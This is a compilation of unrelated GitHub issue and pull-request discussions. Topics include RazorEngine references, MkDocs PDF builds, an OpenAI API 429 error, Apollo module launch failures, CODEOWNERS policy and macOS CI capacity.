MyIReferenceResolver is based on the sample from documentation, but also includes the previously built dll:
class MyIReferenceResolver : IReferenceResolver {
public IEnumerable GetReferences(TypeContext context, IEnumerable includeAssemblies) {
IEnumerable loadedAssemblies = (new UseCurrentAssembliesReferenceResolver())
.GetReferences(context, includeAssemblies)
.Select(r => r.GetFile());
foreach (var a in loadedAssemblies) {
yield return CompilerReference.From(a);
}
yield return CompilerReference.From(@"....\artifacts\bin\MyCoolApp\Debug\dnx46\MyCoolApp.dll");
}
}

Hope this helps someone

Duplicate of https://github.com/Antaris/RazorEngine/issues/322

Was this resolved? I'm using RazorEngine 3.9.0 and this problem occurs in my tests project.


Build PDF from MkDocs markdown

The RTD docs imply that a PDF would be built for the supported doc formats, which include markdown from MkDocs.  My project uses MkDocs and markdown.  No PDF is being built, however.  Rather, it's an old blank one from when I was tweaking the project settings. I've tried wiping the build directory, but that didn't work.
RTD Project page
PDF link
Does RTD actually support PDF building for markdown docs?

No. This needs to be part of Mkdocs first.


Add documentation for "Address" pattern

https://ons-design-system.netlify.app/patterns/addresses/
Consider adding postcode only variant of pattern (used in RH census 2021)
Add reference to a new "addresses" style that documents how an address should be presented (see attached trello card)
Linked to #413 and PR #1514

Added to content design epic: https://trello.com/c/1wBGbk9Q/569-epic-design-system-patterns-where-there-is-little-or-no-documentation-or-it-needs-a-review

https://trello.com/c/a4L4cFhe/664-design-system-addresses
Raised a couple of concerns on my Trello board:
@joenation3 This seems like more of a component than a pattern as you’d only use one of the variants (rather than any of them in combination.
I can update the address component with;
address confirmation variant
a note about using the footer variant with crown copyright if the address index API is used as per Add warning to use footer variant when using address input with ONS Address Index API · Issue #1112 · ONSdigital/design-system

But not sure if there’s additional work needed re' the postcode only variant: Add documentation for "Address" pattern · Issue #1969 · ONSdigital/design-system
Or what’s meant by this: https://github.com/ONSdigital/design-system/issues/1953

Screenshot of CD Trello (no longer available):

Blocked until the outcome of #3032.

Documentation updated as part of #3032.


Forcing TypeScript is ridiculous

All of the JavaScript examples are in TypeScript with none for any other library to utilize preferred libraries such as Vuejs. This is a horrible waste of resources by Microsoft as usual
Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 5bee09a8-022e-1b5a-4aab-d6e7c6216808
Version Independent ID: 49edce1e-f2be-e989-917f-c6b389363e2f
Content: Set up your SharePoint Framework development environment
Content Source: docs/spfx/set-up-your-development-environment.md
Product: sharepoint
Technology: sharepoint-framework
GitHub Login: @VesaJuvonen
Microsoft Alias: vesaj

@crtjr64 - TypeScript is not a library. It's a language. You can use Vuejs.


429 error despite zero API usage

im using the nodejs example from the docs. Inserted my API key.
const { Configuration, OpenAIApi } = require("openai");
const configuration = new Configuration({
  apiKey: "MY-KEY",
});

async function getCompletion () {
  const openai = new OpenAIApi(configuration);
  const response = await openai.createCompletion("text-curie-001", {
    prompt: "Say this is a test",
    max_tokens: 5
  })
  .catch(err => {
    console.log(err);
  });
  console.log(response);
}

getCompletion();

returns:
 response: {
    status: 429,
    statusText: 'Too Many Requests',
    headers: {
      date: 'Thu, 28 Apr 2022 12:51:34 GMT',
      'content-type': 'application/json; charset=utf-8',
      'content-length': '205',
      connection: 'close',
      vary: 'Origin',
      'x-request-id': 'xxxx',
      'strict-transport-security': 'max-age=15724800; includeSubDomains'
    },
    config: {
      transitional: [Object],
      adapter: [Function: httpAdapter],
      transformRequest: [Array],
      transformResponse: [Array],
      timeout: 0,
      xsrfCookieName: 'XSRF-TOKEN',
      xsrfHeaderName: 'X-XSRF-TOKEN',
      maxContentLength: -1,
      maxBodyLength: -1,
      validateStatus: [Function: validateStatus],
      headers: [Object],
      method: 'post',
      data: '{"prompt":"Say this is a test","max_tokens":5}',
      url: 'https://api.openai.com/v1/engines/text-curie-001/completions'
    },
    request: <ref *1> ClientRequest {
      _events: [Object: null prototype],
      _eventsCount: 7,
      _maxListeners: undefined,
      outputData: [],
      outputSize: 0,
      writable: true,
      destroyed: false,
      _last: true,
      chunkedEncoding: false,
      shouldKeepAlive: false,
      _defaultKeepAlive: true,
      useChunkedEncodingByDefault: true,
      sendDate: false,
      _removedConnection: false,
      _removedContLen: false,
      _removedTE: false,
      _contentLength: null,
      _hasBody: true,
      _trailer: '',
      finished: true,
      _headerSent: true,
      socket: [TLSSocket],
      _header: 'POST /v1/engines/text-curie-001/completions HTTP/1.1\r\n' +
        'Accept: application/json, text/plain, */*\r\n' +
        'Content-Type: application/json\r\n' +
        'User-Agent: OpenAI/NodeJS/2.0.5\r\n' +
        'Authorization: Bearer MY-KEY\n' +
        'Content-Length: 46\r\n' +
        'Host: api.openai.com\r\n' +
        'Connection: close\r\n' +
        '\r\n',
      _keepAliveTimeout: 0,
      _onPendingData: [Function: noopPendingOutput],
      agent: [Agent],
      socketPath: undefined,
      method: 'POST',
      maxHeaderSize: undefined,
      insecureHTTPParser: undefined,
      path: '/v1/engines/text-curie-001/completions',
      _ended: true,
      res: [IncomingMessage],
      aborted: false,
      timeoutCb: null,
      upgradeOrConnect: false,
      parser: null,
      maxHeadersCount: null,
      reusedSocket: false,
      host: 'api.openai.com',
      protocol: 'https:',
      _redirectable: [Writable],
      [Symbol(kCapture)]: false,
      [Symbol(kNeedDrain)]: false,
      [Symbol(corked)]: 0,
      [Symbol(kOutHeaders)]: [Object: null prototype]
    },
    data: { error: [Object] }
  },
  isAxiosError: true,
  toJSON: [Function: toJSON]
}

The request returns a 429 Status. I have zero usage on my account and i only make a single request each time.
I tried all engines.
Is this a known problem? Since this problem has little reltation to this node repo i will close this issue as soon as possible.

the free credit expires after 3 months 💀

Funny, got exact same problem with exact same cause, strangely but you helped me @ezzcodeezzlife thanks! 😅

I just paid for Plus plan, $20/mo, and generated a new api key, and still get the 429 error ...

Plus plan doesn't include API credits, you'll need to buy them separately


Add a new API in DTL for querying status of DTL

/eth/syncing returns the syncing status, but the design for this allows the replica to sync up before dtl loads all l2 data. Therefore, the syncing always returns false for l2geth.
This PR introduces the new api endpoint /eth/syncing/l2. This returns the actual syncing status, so we can query the actual highest l2 block that needs to be synced and current transaction index that dtl has synced.

Codecov Report

Merging #196 (50611f4) into develop (899abd4) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff            @@
##           develop     #196   +/-   ##
========================================
  Coverage    47.20%   47.20%
========================================
  Files           99       99
  Lines         3866     3866
  Branches       762      762
========================================
  Hits          1825     1825
  Misses        2041     2041

Flag
Coverage Δ

boba-contracts
20.39% <ø> (ø)

contracts
77.71% <ø> (ø)

core-utils
86.77% <ø> (ø)

data-transport-layer
31.17% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 899abd4...50611f4. Read the comment docs.

does this need reviews and PR template @Boyuan-Chen ?

does this need reviews and PR template @Boyuan-Chen ?

I edited the PR comments.


fix message size report

Does this PR need a docs update or release note?

[x] :white_check_mark: Yes, it's included

Type of change

[x] :bug: Bugfix

Test Plan

[x] :zap: Unit test
[x] :green_heart: E2E

There is no release note in this PR.


Could not launch module monitor. Is it already built?

System information
Ubuntu 14.04.5 LTS
Apollo installed from source
Apollo version 3.0
Steps to reproduce the issue:
git clone git@github.com:ApolloAuto/apollo.git
cd apollo
bash docker/scripts/dev_start.sh
bash docker/scripts/dev_into.sh
bash apollo.sh build
bash scripts/bootstrap.sh

I try to do this:
docker rm [container id]
docker rmi [image id]
git pull origin master
bash docker/scripts/dev_start.sh
bash docker/scripts/dev_into.sh
bash apollo.sh build
It's not work. And I try to do this:
bash apollo.sh clean
bash apollo.sh build
It's still not work.
The error:
Start roscore...
Could not launch module monitor. Is it already built?
Could not launch module dreamview. Is it already built?
Please help me.

same question

Check the environment variable APOLLO_BASE_SOURCED.
If this variable is defined, module binary path is not set correctly.
See
apollo/scripts/apollo_base.sh
Line 429 in 23b7265
export APOLLO_BASE_SOURCED=1

Check the environment variable APOLLO_BASE_SOURCED.
If this variable is defined, module binary path is not set correctly.
See
apollo/scripts/apollo_base.sh
Line 429 in 23b7265
export APOLLO_BASE_SOURCED=1

There is no environment variable APOLLO_BASE_SOURCED in ~/.bashrc file.

@yangbo524 @HongweiSunny
I changed the system. Previous system:
uname -r 3.13.0-24-generic
cat /etc/issue Ubuntu 14.04.5 LTS \n \l
and Current system:
uname -r 4.13.0-32-generic
cat /etc/issue Ubuntu 16.04.3 LTS \n \l
The same operation, it's not work at the beginning. The same results: 'Could not launch module monitor. Is it already built?……'
 Should you have them and you see the error, please give us a screenshot of your output so that we could debug it further.
Thanks!

How do we check if these binaries are built out? Having same issue...

Same question. Dose it have a official solution now?

It actually looks for "${APOLLO_BIN_PREFIX}/modules/" (https://github.com/ApolloAuto/apollo/blob/r3.0.0/scripts/apollo_base.sh#L232)
And the APOLLO_BIN_PREFIX is determined here: https://github.com/ApolloAuto/apollo/blob/r3.0.0/scripts/apollo_base.sh#L118
I guess that in your environment it's somehow unset, so it becomes "/modules/..."

Closing this issue as it appears to be resolved. Feel free to reopen if you have additional questions. Thanks!


CLI (Command Line Interface)

Today Azimutt is a web app which parse a database schema and allow to explore it.
That's cool but it requires to open a browser, go to the website, click explore and upload the schema.
Not really a streamlined process when you are working on your app.
You can improve this by installing the progressive web app, so you can launch the app from your desktop and land directly on the app.
We can bring this one step further with a CLI installation. The first time you do a npm install -g azimutt and then you can do azimutt open structure.sql with the relative path of the file a load it. Or just azimutt open to launch the app.
A CLI can also open some local use cases such as extracting the schema from a real database, which is not possible right now with a web app. For example azimutt open postgresql://localhost/test?user=fred&password=secret&ssl=true could open your database, extract the schema and load it to Azimutt.
What do you think about this ?
Do you see any other way of having Azimutt close to you when you need it ?
Please add :+1: reaction if you want this!

This is mostly done in #177 (export a database schema).
Still some features could be added:

[ ] Open Azimutt from the CLI
[ ] Send generated source directly to Azimutt


2019 Lexus UX 250h

Added fingerprint for 2019Lexus UX 250h
DBC files are 'toyota_nodsu_hybrid_pt_generated', 'toyota_tss2_adas'
Haven't completed any tuning, copied Corolla values

@brianhaugen2 are you still working on this? I would love to get OpenPilot working with my 2019 UX 250H.

@brianhaugen2 rebase from master and update the pull request to not be deleting everything and I'm sure this can be merged

Closing due to inactivity, feel free to re-open after rebasing and tuning is finished.

How to reopen a pull request?

How to reopen a pull request?

@pd0wm @adeebshihadeh is it possible to reopen this pull request?

@pd0wm @adeebshihadeh is it possible to reopen this pull request?


Releasing binaries

"Go provides excellent support for producing binaries for foreign platforms without having to install Go on the target" - Dave Cheney
How come there are no prebuilt binaries for thyme? It would simplify the install process greatly imho.

@AlexGustafsson,
I just downloaded the linux binary from https://github.com/sourcegraph/thyme/releases. I also just opened #61, so you can take that with a grain of salt.


Enforce code owners for github configuration files

🚀 Feature Proposal
We want to make it so that all the .github files including codeowners are protected so only code owners (the dev team) can approve modifications to them.
Motivation
This will prevent configuration changes from breaking Actions and other management-type functions that these control. By setting the .github files/folder to require code owner approval for changes, workflow and management changes will require dev team review and checking.
Options

Issue individual dev team member names inside code owners file
List the dev github Team inside the code owners file
Some other option available to Github users?

We want to ensure that any PR that touches .github requires a dev team member approval before being merged.  That makes it  necessary to tightly control .github/CODEOWNERS, since we need to stop folks from adding themselves as CODEOWNERS over the files in .github and therefore being able to give a codeowner review to such a PR.

I am torn between options 1 and 2.
The advantage of option 2 over option 1 is that:

New devs will automatically begin to be listed on PRs that affect the .github/CODEOWNERS file - no need to add them via a PR to cisagov/skeleton-generic and thereby incur a kraken release

The advantages of option 1 over option 2 is:

PRs will not disappear from here as soon as one dev reviews the PR

Regarding @jsf9k's points:

New devs onboard quite infrequently
PR reviews happen very frequently

If we can find no other compelling differences, I'd choose option 1 since that favors the thing that happens frequently (PR reviews).

Sounds like two votes for option 1 - @dav3r and @jsf9k.  It's election day, so @hillaryj, @felddy, and @mcdonnnj please cast your ballots.

I concur with option 1.


Increase MacOS test capability

While testing the jdk-11.0.3+7_openj9-0.14.2 release I observed that the biggest 'laggard' in the build + test process was the MacOS test jobs:

openjdk test job submitted 28/05/2019 11:52
then "Waiting for next available executor on ‘ci.role.test&&hw.arch.x86&&sw.os.osx’"
tests started running 29/05/2019 10:53

So nearly 24 hours waiting for a machine to become available.
Once running, the tests on MacOS take 8 hours or so to complete: https://ci.adoptopenjdk.net/job/openjdk11_j9_openjdktest_x86-64_macos_macosXL/buildTimeTrend
On linux_x86, the same tests take about an hour: https://ci.adoptopenjdk.net/view/Test_openjdk/job/openjdk11_j9_openjdktest_x86-64_linux/buildTimeTrend
So this is issue is to request more, and more powerful, macOS machines for testing in order to meet our goals of building and testing releases within 24 hours (this situation is worse if there are other releases (jdk8, jdk11 etc.) requiring the same test machines.
Perhaps redeploying JCK machines (see https://github.com/AdoptOpenJDK/openjdk-infrastructure/issues/610) might provide a little extra resource in the short term.

@sxa555 Redeploying the JCK machines is a good idea in the short term, we'd just need to change their labels right?  Or do you also want to rename the host?

@karianna The only thing that stopped me doing this was not having playbooks fully ready for macosx, but in principle that's how to do it - remove it from the other jenkins instance and reconnect it to this one after wiping the JCK material from them

I'll look at moving one of the JCK macs across once the current round of releases (JDK11 for OpenJ9 0.14.3 and JDK8 b04 for HotSpot) are done to avoid risking destabilising anything)

Have moved one JCK mac across as https://ci.adoptopenjdk.net/computer/test-macincloud-macos1010-3-XJ/ (without any additional setup yet)

Looks like that's being used well, thanks

Applied some extra bits under https://github.com/AdoptOpenJDK/openjdk-infrastructure/issues/808
Now seems to be working ... closing.


Settings: folder/workspace settings tab should hide settings that cannot be applied

Refs: #50496
When I click on folder or workspace settings, I always seem to be seeing all settings. But some settings (like update.channel) cannot be applied in any other scope and so should not be visible.

Presentation wise I suggest greying those setting out and have a hover-tip that explains it.
Main motivation is with search I still want to see all matches.

Yeah I can match the current editor by hiding them, or do something else.

This is very broken now.
Scenario 1:

open settings
click "Workspace"
search for "Window"
click on "Window" settings in the tree
click on "User"

=> workspace settings still showing
Scenario 2:

open settings
click on "Window" settings in tree
search for "Window"
click on "Window" settings in tree
click on "Workspace"

=> all "User" settings show up even though I clicked "Workspace"

Fixed with https://github.com/Microsoft/vscode/issues/57352

@roblourens ok works better now, the selection in the TOC is still lost when switching between user and workspace setting.


Cleaner dust checking in transfers

Inspired by this comment.

@holiman Looks like Justin liked your idea. LGTM

Now zero is disallowed - is that intentional? Just checking...

Ah no sorry, disregard that!